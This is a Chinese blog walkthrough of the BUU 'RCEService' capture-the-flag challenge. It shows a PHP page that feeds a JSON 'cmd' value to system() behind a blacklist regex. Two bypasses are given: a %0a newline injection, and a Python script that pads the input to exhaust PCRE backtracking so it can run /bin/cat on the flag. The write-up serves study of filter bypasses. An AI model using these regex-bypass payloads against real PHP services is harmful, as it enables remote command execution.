溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP中RCEService正則回溯怎么實(shí)現(xiàn)

發(fā)布時(shí)間:2022-04-12 10:24:47 來源:億速云 閱讀:170 作者:iii 欄目:開發(fā)技術(shù)

今天小編給大家分享一下PHP中RCEService正則回溯怎么實(shí)現(xiàn)的相關(guān)知識(shí)點(diǎn),內(nèi)容詳細(xì),邏輯清晰,相信大部分人都還太了解這方面的知識(shí),所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

    打開題目輸入JSON類型的cmd后,嘗試讀取index.php的源代碼,但是讀取不出來,并且掃后臺(tái)出來的/index以及/index/login也沒有任何東西,實(shí)在不知道怎么做了,只能看一下別人的wp,發(fā)現(xiàn)別人以來都是審查源碼,我就奇怪了,源碼怎么弄來的,看了很多wp發(fā)現(xiàn)應(yīng)該是比賽的時(shí)候直接給的源碼,但是buu平臺(tái)忘記加上了

    <?php
    putenv('PATH=/home/rceservice/jail');
    if (isset($_REQUEST['cmd'])) {
        $json = $_REQUEST['cmd'];
        if (!is_string($json)) {
            echo 'Hacking attempt detected<br/><br/>';
        } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
            echo 'Hacking attempt detected<br/><br/>';
        } else {
            echo 'Attempting to run command:<br/>';
            $cmd = json_decode($json, true)['cmd'];
            if ($cmd !== NULL) {
                system($cmd);
            } else {
                echo 'Invalid input';
            }
            echo '<br/><br/>';
        }
    }
    ?>

    看到最后的system以及正則,看來這題是要繞過正則執(zhí)行cmd命令了,這么多黑名單函數(shù)應(yīng)該不會(huì)讓我們找漏網(wǎng)之魚吧,不會(huì)吧不會(huì)吧

    我們看到正則表達(dá)式?jīng)]有添加修飾符,那我們可以利用多行匹配這個(gè)漏洞了

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

     在這里我們可以利用%0a換行符進(jìn)行繞過正則匹配,而且可以看到要有修飾符s才會(huì)讓.*匹配換行符,因此我們這里可以利用我們之前的ls試試能不能成功

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

    發(fā)現(xiàn)依然可以出來index.php;源代碼中編譯了環(huán)境變量path(我以為只是單純暗示我們這個(gè)目錄),我們就在那個(gè)目錄下看看 

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

    發(fā)現(xiàn)了flag文件,我用nl,cat,more,less等命令都讀取不出來 ,查資料發(fā)現(xiàn),系統(tǒng)命令需要有特定的環(huán)境變量的也就是路徑,系統(tǒng)找不到該路徑下的exe文件怎么執(zhí)行系統(tǒng)命令

    因此這個(gè)地方查閱資料后發(fā)現(xiàn)只能調(diào)用絕對(duì)路徑下的命令,cat命令就在/bin/目錄下面

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

     第二種辦法也就是正則表達(dá)式回溯過多導(dǎo)致false,說實(shí)話我還是第一次聽到正則的回溯問題

    PHP利用PCRE回溯次數(shù)限制繞過某些安全限制

    簡(jiǎn)單來說就是正則表達(dá)式匹配的時(shí)候某個(gè).*將后面的字符全部匹配到了,導(dǎo)致表達(dá)式后面的式子沒有地方匹配,因此一個(gè)一個(gè)字符吐出來,直到后面的式子全部匹配完畢或者回溯次數(shù)過多

    例子

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

     經(jīng)過自己試試果然只能回溯一百萬次

    '/^.*

    正則表達(dá)式最前面的匹配字符,^代表首個(gè)字母,'.'代表除換行符之外的所有字符,*代表前面那個(gè)表達(dá)式重復(fù)執(zhí)行多次,因此他這里直接把我們的payload全部匹配完畢,導(dǎo)致后面的匹配不到字符了,只能一個(gè)個(gè)回溯

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

    再將后面的匹配一下字符,可以發(fā)現(xiàn)目前寫的小寫字母都沒有過濾掉,因?yàn)槭M(jìn)制\x00-\x1f換算成十進(jìn)制并沒有到小寫字母的ascii值那個(gè)地方,因此我們可以任意利用一個(gè)小寫字母&times;個(gè)一百萬次,就可以讓正則表達(dá)式直接失敗

    PHP中RCEService正則回溯怎么實(shí)現(xiàn)

    import requests
    url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
    data={
        'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
    }
    r=requests.post(url=url,data=data).text
    print(r)

    以上就是“PHP中RCEService正則回溯怎么實(shí)現(xiàn)”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會(huì)為大家更新不同的知識(shí),如果還想學(xué)習(xí)更多的知識(shí),請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

    向AI問一下細(xì)節(jié)

    免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

    AI